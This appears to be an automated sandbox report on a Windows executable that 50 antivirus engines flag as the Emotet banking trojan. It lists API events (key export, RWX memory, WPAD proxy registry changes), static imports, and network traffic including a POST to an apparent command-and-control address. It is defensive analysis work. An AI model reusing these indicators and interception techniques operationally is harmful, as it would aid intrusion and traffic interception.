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50 个模型检测该样本为恶意！

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f9b7e2f2849ee16859240f1e69d3dd1e465faf51e495994219cb29e5a5138e44

9b30bccffffc7a16e74712330518e892.exe

分析耗时

85s

最近分析

文件大小

72.0KB

静态报毒动态报毒 A + TROJ AI SCORE=88 AIDETECTVM ATTRIBUTE CLASSIC CRYPTERX DOWNLOADER34 ELDORADO EMOTET GDMP GENCIRC GENERICKD GENETIC HFYT HGCC HIGH CONFIDENCE HIGHCONFIDENCE HUCBRM KRYPTIK MALWARE2 MALWARE@#1DVAHKMXV03ZJ PUUGS R057C0DI620 SCORE ST4LOPW1SFA SUSGEN UNSAFE 更多

未检测暂无鹰眼引擎检测结果

查杀引擎	查杀结果	查杀时间	查杀版本
CrowdStrike		20190702	1.0
Baidu		20190318	1.0.0.2
Alibaba	Trojan:Win32/Emotet.1aa76925	20190527	0.3.0.5
Kingsoft		20200920	2013.8.14.323
McAfee		20200920	6.0.6.653
Tencent	Malware.Win32.Gencirc.10cdfdce	20200920	1.0.0.1
Avast	Win32:CrypterX-gen [Trj]	20200920	18.4.3895.0

Queries for the computername (1 个事件)

Time & API	Arguments	Status	Return	Repeated
1619803947.49 GetComputerNameA	computer_name: OSKAR-PC	success	1	0

Uses Windows APIs to generate a cryptographic key (5 个事件)

Time & API	Arguments	Status	Return
1619803935.083 CryptGenKey	crypto_handle: 0x008964a8 algorithm_identifier: 0x0000660e () provider_handle: 0x00895d30 flags: 1 key: fº@/;ß6Ë2¿Þ·	success	1
1619803947.521 CryptExportKey	crypto_handle: 0x008964a8 crypto_export_handle: 0x00895cb8 buffer: f¤ñK¹_«äQ;7DtI·ì ,> E\|O¬cò¢öÌDQ\ä¢ì\|÷g þ¾Iù,£üßçÄk?_ZÞãaçÊ{ÙÿAce,BÌ>N1QËÿVR6F¤N blob_type: 1 flags: 64	success	1
1619803983.505 CryptExportKey	crypto_handle: 0x008964a8 crypto_export_handle: 0x00895cb8 buffer: f¤¬]l V xÖ¡'±ÇÚT:4\|>)R¯P6 £Q CòO#Nû;=s,7Xèë±<öLêuSË¨È«¥Y±M &»!{Î¿°Á± blob_type: 1 flags: 64	success	1
1619803988.63 CryptExportKey	crypto_handle: 0x008964a8 crypto_export_handle: 0x00895cb8 buffer: f¤29KA25¬ëßúyOl{VåÁ±¶Z ú¡Ü0÷µÜ³:Ñ¹nL¤:4uÂÉññ×éÁÿíl³6¿f¡bð`E41b¢¿^÷Ò&{áu(ÙfMºèE blob_type: 1 flags: 64	success	1
1619803991.865 CryptExportKey	crypto_handle: 0x008964a8 crypto_export_handle: 0x00895cb8 buffer: f¤Nµ^v².Å³Ô´ï¤k~É Æô&@TÛû>µÒª=´Ë.\é®Ù_K2ÇÛøl½²ùeÕUU§áÉ§ÊÄBø³eM`g+ÀÅbëú©B«] blob_type: 1 flags: 64	success	1

The executable uses a known packer (1 个事件)

packer

Armadillo v1.71

The file contains an unknown PE resource name possibly indicative of a packer (1 个事件)

resource name

None

Allocates read-write-execute memory (usually to unpack itself) (1 个事件)

Time & API	Arguments	Status	Return	Repeated
1619803934.177 NtAllocateVirtualMemory	process_identifier: 2900 region_size: 45056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) process_handle: 0xffffffff allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) base_address: 0x00820000	success	0	0

Searches running processes potentially to identify processes for sandbox evasion, code injection or memory dumping (1 个事件)

Time & API	Arguments	Status	Return	Repeated
1619803991.865 Process32NextW	process_name: mscorsvw.exe snapshot_handle: 0x0000039c process_identifier: 1036	success	1	0

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 个事件)

Time & API	Arguments	Status	Return	Repeated
1619803934.177 NtProtectVirtualMemory	process_identifier: 2900 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 28672 protection: 32 (PAGE_EXECUTE_READ) process_handle: 0xffffffff base_address: 0x00841000	success	0	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 个事件)

Time & API	Arguments	Status	Return	Repeated
1619803948.24 GetAdaptersAddresses	flags: 0 family: 0	failed	111	0

The binary likely contains encrypted or compressed data indicative of a packer (2 个事件)

entropy

7.443297969664358

section

{'size_of_data': '0x0000d000', 'virtual_address': '0x00005000', 'entropy': 7.443297969664358, 'name': '.rsrc', 'virtual_size': '0x0000ca48'}

description

A section with a high entropy has been found

entropy

0.7647058823529411

description

Overall entropy of this PE file is high

Expresses interest in specific running processes (1 个事件)

process

9b30bccffffc7a16e74712330518e892.exe

Reads the systems User Agent and subsequently performs requests (1 个事件)

Time & API	Arguments	Status	Return	Repeated
1619803947.693 InternetOpenW	proxy_bypass: access_type: 0 proxy_name: flags: 0 user_agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)	success	13369348	0

Communicates with host for which no DNS query was performed (5 个事件)

host	142.44.137.67
host	162.241.242.173
host	172.217.24.14
host	192.158.216.73
host	85.214.28.226

Sets or modifies WPAD proxy autoconfiguration file for traffic interception (8 个事件)

Time & API	Arguments	Status
1619803950.818 RegSetValueExA	key_handle: 0x0000039c value: 1 regkey_r: WpadDecisionReason reg_type: 4 (REG_DWORD) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecisionReason	success
1619803950.818 RegSetValueExA	key_handle: 0x0000039c value: [°bì=× regkey_r: WpadDecisionTime reg_type: 3 (REG_BINARY) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecisionTime	success
1619803950.818 RegSetValueExA	key_handle: 0x0000039c value: 3 regkey_r: WpadDecision reg_type: 4 (REG_DWORD) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecision	success
1619803950.818 RegSetValueExW	key_handle: 0x0000039c value: 网络 2 regkey_r: WpadNetworkName reg_type: 1 (REG_SZ) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadNetworkName	success
1619803950.818 RegSetValueExA	key_handle: 0x000003b4 value: 1 regkey_r: WpadDecisionReason reg_type: 4 (REG_DWORD) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecisionReason	success
1619803950.818 RegSetValueExA	key_handle: 0x000003b4 value: [°bì=× regkey_r: WpadDecisionTime reg_type: 3 (REG_BINARY) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecisionTime	success
1619803950.818 RegSetValueExA	key_handle: 0x000003b4 value: 3 regkey_r: WpadDecision reg_type: 4 (REG_DWORD) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecision	success
1619803950.865 RegSetValueExW	key_handle: 0x00000398 value: {40112ABE-63B3-43C3-BE93-1440EE3AF106} regkey_r: WpadLastNetwork reg_type: 1 (REG_SZ) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\WpadLastNetwork	success

File has been identified by 50 AntiVirus engines on VirusTotal as malicious (50 个事件)

Bkav	W32.AIDetectVM.malware2
Elastic	malicious (high confidence)
MicroWorld-eScan	Trojan.GenericKD.43781261
FireEye	Trojan.GenericKD.43781261
Qihoo-360	Win32/Trojan.3ec
ALYac	Trojan.Agent.Emotet
Cylance	Unsafe
VIPRE	Trojan.Win32.Generic!BT
Sangfor	Malware
K7AntiVirus	Trojan ( 0056dc4f1 )
BitDefender	Trojan.GenericKD.43781261
K7GW	Trojan ( 0056dc4f1 )
TrendMicro	TROJ_GEN.R057C0DI620
Cyren	W32/Kryptik.BWJ.gen!Eldorado
Symantec	ML.Attribute.HighConfidence
APEX	Malicious
Paloalto	generic.ml
Cynet	Malicious (score: 85)
Kaspersky	Trojan-Banker.Win32.Emotet.gdmp
Alibaba	Trojan:Win32/Emotet.1aa76925
NANO-Antivirus	Trojan.Win32.Emotet.hucbrm
Rising	Trojan.Kryptik!1.CBC1 (CLASSIC)
Ad-Aware	Trojan.GenericKD.43781261
Comodo	Malware@#1dvahkmxv03zj
F-Secure	Trojan.TR/Crypt.Agent.puugs
DrWeb	Trojan.DownLoader34.32574
Zillya	Trojan.Emotet.Win32.28378
Invincea	ML/PE-A + Troj/Emotet-CLZ
Sophos	Troj/Emotet-CLZ
Ikarus	Trojan-Banker.Emotet
GData	Trojan.GenericKD.43781261
Jiangmin	Trojan.Banker.Emotet.ohz
Avira	TR/Crypt.Agent.puugs
MAX	malware (ai score=88)
Antiy-AVL	Trojan[Banker]/Win32.Emotet
Arcabit	Trojan.Generic.D29C0C8D
ZoneAlarm	Trojan-Banker.Win32.Emotet.gdmp
Microsoft	Trojan:Win32/Emotet.ARJ!MTB
AhnLab-V3	Malware/Win32.Generic.C4192543
VBA32	Trojan.Downloader
Malwarebytes	Trojan.MalPack.TRE
Panda	Trj/Genetic.gen
ESET-NOD32	a variant of Win32/Kryptik.HGCC
TrendMicro-HouseCall	TROJ_GEN.R057C0DI620
Tencent	Malware.Win32.Gencirc.10cdfdce
Yandex	Trojan.Kryptik!St4LOPW1sFA
Fortinet	W32/Kryptik.HFYT!tr
AVG	Win32:CrypterX-gen [Trj]
Avast	Win32:CrypterX-gen [Trj]
MaxSecure	Trojan.Malware.106378983.susgen

Connects to IP addresses that are no longer responding to requests (legitimate services will remain up-and-running usually) (3 个事件)

dead_host	85.214.28.226:8080
dead_host	192.168.56.101:49178
dead_host	192.158.216.73:80

暂无二进制图像该样本未生成二进制可视化图像

暂无运行截图该样本运行过程中未生成截图

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Static Analysis
Strings

PE Compile Time

2020-09-04 19:56:16

Imports

Library MFC42.DLL:

• 0x403038

• 0x40303c

• 0x403040

• 0x403044

• 0x403048

• 0x40304c

• 0x403050

• 0x403054

• 0x403058

• 0x40305c

• 0x403060

• 0x403064

• 0x403068

• 0x40306c

• 0x403070

• 0x403074

• 0x403078

• 0x40307c

• 0x403080

• 0x403084

• 0x403088

• 0x40308c

• 0x403090

• 0x403094

• 0x403098

• 0x40309c

• 0x4030a0

• 0x4030a4

• 0x4030a8

• 0x4030ac

• 0x4030b0

• 0x4030b4

• 0x4030b8

• 0x4030bc

• 0x4030c0

• 0x4030c4

• 0x4030c8

• 0x4030cc

• 0x4030d0

• 0x4030d4

• 0x4030d8

• 0x4030dc

• 0x4030e0

• 0x4030e4

• 0x4030e8

• 0x4030ec

• 0x4030f0

• 0x4030f4

• 0x4030f8

• 0x4030fc

• 0x403100

• 0x403104

• 0x403108

• 0x40310c

• 0x403110

• 0x403114

• 0x403118

• 0x40311c

• 0x403120

• 0x403124

• 0x403128

• 0x40312c

• 0x403130

• 0x403134

• 0x403138

• 0x40313c

• 0x403140

• 0x403144

• 0x403148

• 0x40314c

• 0x403150

• 0x403154

• 0x403158

• 0x40315c

• 0x403160

• 0x403164

• 0x403168

• 0x40316c

• 0x403170

• 0x403174

• 0x403178

• 0x40317c

• 0x403180

• 0x403184

• 0x403188

• 0x40318c

• 0x403190

• 0x403194

• 0x403198

• 0x40319c

• 0x4031a0

• 0x4031a4

• 0x4031a8

• 0x4031ac

• 0x4031b0

• 0x4031b4

• 0x4031b8

• 0x4031bc

• 0x4031c0

• 0x4031c4

• 0x4031c8

Library MSVCRT.dll:

• 0x4031d0 __set_app_type

• 0x4031d4 _except_handler3

• 0x4031d8 _controlfp

• 0x4031dc __p__commode

• 0x4031e0 _adjust_fdiv

• 0x4031e4 __setusermatherr

• 0x4031e8 _initterm

• 0x4031ec __getmainargs

• 0x4031f0 _acmdln

• 0x4031f4 exit

• 0x4031f8 _setmbcp

• 0x4031fc __CxxFrameHandler

• 0x403200 malloc

• 0x403204 __p__fmode

• 0x403208 __dllonexit

• 0x40320c _onexit

• 0x403210 _exit

• 0x403214 _XcptFilter

Library KERNEL32.dll:

• 0x40301c GetStartupInfoA

• 0x403020 GetModuleHandleA

• 0x403024 GetVersion

• 0x403028 lstrlenA

• 0x40302c GetProcAddress

• 0x403030 LoadLibraryW

Library USER32.dll:

• 0x40321c IsIconic

• 0x403220 GetSystemMetrics

• 0x403224 GetClientRect

• 0x403228 DrawIcon

• 0x40322c GetSystemMenu

• 0x403230 SendMessageA

• 0x403234 LoadIconA

• 0x403238 EnableWindow

• 0x40323c AppendMenuA

Library ADVAPI32.dll:

• 0x403000 RegSetValueExA

• 0x403004 RegQueryValueExA

• 0x403008 RegCreateKeyExA

• 0x40300c RegCloseKey

Library COMCTL32.dll:

• 0x403014

Exports

Ordinal	Address	Name
1	0x401780	GGADQEggsdeRRadwejhhgg

Hosts

No hosts contacted.

DNS

Name	Response	Post-Analysis Lookup
time.windows.com	A 20.189.79.72 CNAME time.microsoft.akadns.net
clients2.google.com	A 172.217.160.110 CNAME clients.l.google.com	172.217.160.110
dns.msftncsi.com	AAAA fd3e:4f5a:5b81::1	131.107.255.255
dns.msftncsi.com	A 131.107.255.255	131.107.255.255
teredo.ipv6.microsoft.com		127.0.0.1

TCP

Source	Source Port	Destination	Destination Port
192.168.56.101	49179	142.44.137.67	443

UDP

Source	Source Port	Destination	Destination Port
192.168.56.101	50534	114.114.114.114	53
192.168.56.101	51378	114.114.114.114	53
192.168.56.101	55368	114.114.114.114	53
192.168.56.101	58367	114.114.114.114	53
192.168.56.101	61680	114.114.114.114	53
192.168.56.101	137	192.168.56.255	137
192.168.56.101	138	192.168.56.255	138
192.168.56.101	123	20.189.79.72 time.windows.com	123
192.168.56.101	49713	224.0.0.252	5355
192.168.56.101	50568	224.0.0.252	5355
192.168.56.101	51963	224.0.0.252	5355
192.168.56.101	53237	224.0.0.252	5355
192.168.56.101	53657	224.0.0.252	5355
192.168.56.101	56804	224.0.0.252	5355
192.168.56.101	62191	224.0.0.252	5355
192.168.56.101	62318	224.0.0.252	5355
192.168.56.101	63429	224.0.0.252	5355
192.168.56.101	65004	224.0.0.252	5355
192.168.56.101	1900	239.255.255.250	1900
192.168.56.101	53238	239.255.255.250	3702

HTTP & HTTPS Requests

URI	Data
http://142.44.137.67:443/unJKRO/	POST /unJKRO/ HTTP/1.1 Content-Type: multipart/form-data; boundary=----------RLhnP6FxOV User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 142.44.137.67:443 Content-Length: 4500 Connection: Keep-Alive Cache-Control: no-cache

URI

Data

http://142.44.137.67:443/unJKRO/

POST /unJKRO/ HTTP/1.1
Content-Type: multipart/form-data; boundary=----------RLhnP6FxOV
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: 142.44.137.67:443
Content-Length: 4500
Connection: Keep-Alive
Cache-Control: no-cache

ICMP traffic

No ICMP traffic performed.

IRC traffic

No IRC requests performed.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Snort Alerts

No Snort Alerts

Sorry! No dropped files.

Sorry! No dropped buffers.